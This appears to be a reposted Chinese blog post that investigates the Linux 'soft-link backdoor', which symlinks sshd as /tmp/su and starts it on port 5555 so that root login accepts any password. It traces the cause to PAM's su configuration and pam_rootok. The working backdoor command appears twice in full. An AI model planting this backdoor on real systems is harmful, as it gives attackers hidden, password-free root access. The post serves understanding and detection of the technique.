一條命令引發的思考


Author:Sevck

1.1   起因

今天在搜索關於Linux下的后門姿勢時,發現一條命令如下:

軟鏈接后門:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

經典后門。直接對sshd建立軟連接,之后用任意密碼登錄即可。

ssh root@x.x.x.x -p 5555

這個是大家也經常會用到的命令,但是在好奇心的驅使下,為什么任意密碼就可以了?

於是搜索了相關的資料,發現都是執行了這條命令就可以免密碼登錄了,但是為什么卻沒有一篇詳細的解答。

1.2   調查

首先測試一下這個命令:

 

在A的機器上執行了如下命令:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

在B機器SSH登錄A機器,輸入任意密碼,成功登錄。

先理解這條命令主要在做什么:

首先,做一個軟鏈接,結果在/tmp/su  參數的意義: -o option  -p port

這樣就開啟了一個端口為5555的服務:

 

測試過程中發現,只允許命名為su,命名其他嘗試登錄都不成功(/tmp/xxx)。

 

於是看了一下sshd相關的log,發現如下:

 

發現是基於pam認證的,使用了pam中的su,為了區分是否和/bin/中的su是否相關,做了測試如下:

 

把/bin/su 重新命名為其他文件,發現依然能夠任意密碼登錄,又做了測試如下:

cp /etc/pam.d/su /etc/pam.d/xxx

 

在此執行:

ln -sf /usr/sbin/sshd /tmp/xxx; /tmp/xxx -oPort=5555;

 

成功登錄,根據日志和實踐現在確認調用的是/etc/pam.d/su

1.3   疑問

現在確認了是pam中的su導致的,為什么就不需要密碼就可以登錄?

簡單的diff了一下pam中的sshd和su的區別:

 

這里需要了解一下PAM中的控制標記:

 

sshd的pam認證使用了required和include,su使用了sufficient,在此就可以看出二者的區別了。

我們發現su的認證使用了pam_rootok.so,他是如何驗證的,為什么導致我們輸入任何密碼就通過。

於是查了下pam_rootok.so的相關信息:

 

他的認證模塊是認證你的UID是否為0,他會return pam的結果。

再去看一下pam_rootok.so的源碼,發現:

 

他先會調用getuid(),如果get的uid為0,他會檢查selinux的root是否為0或是否啟用selinux下為0,返回認證成功,否則認證失敗。

那么getuid()是從哪里來的,查一下官網:

 

是根據進程來取得的,根據pam_rootok的文檔,我們也可以對su進行調試:

 

pam_rootok.so返回成功,依次向下執行so,都會成功,建立會話。

查看log:

 

第一條:

pam_rootok(su:auth): authentication succeeded

1.4   真相

至此也終於清楚了為什么就可以輸入任意密碼進行登錄。

我們重新捋一捋:

 

1.5   彩蛋

實際的真相就是在pam中的pam_rootok模塊,pam_rootok通過了認證還會一次向下執行,但是下面的都會依賴於pam_rootok的認證,auth =>account =>session:

 

通過查找其實不單單是su存在pam_rootok,只要滿足了上述的三個條件都可以進行"任意密碼登錄"。

1.6   參考資料

https://linux.die.net/man/8/pam_rootok

https://fossies.org/dox/Linux-PAM-1.3.0/pam__rootok_8c_source.html

https://fossies.org/dox/Linux-PAM-1.3.0/pam__succeed__if_8c.html

https://fossies.org/dox/Linux-PAM-1.3.0/pam__succeed__if_8c_source.html

http://man7.org/linux/man-pages/man2/getuid.2.html

http://www.tuxradar.com/content/how-pam-works

http://www.centoscn.com/CentOS/help/2014/0504/2899.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM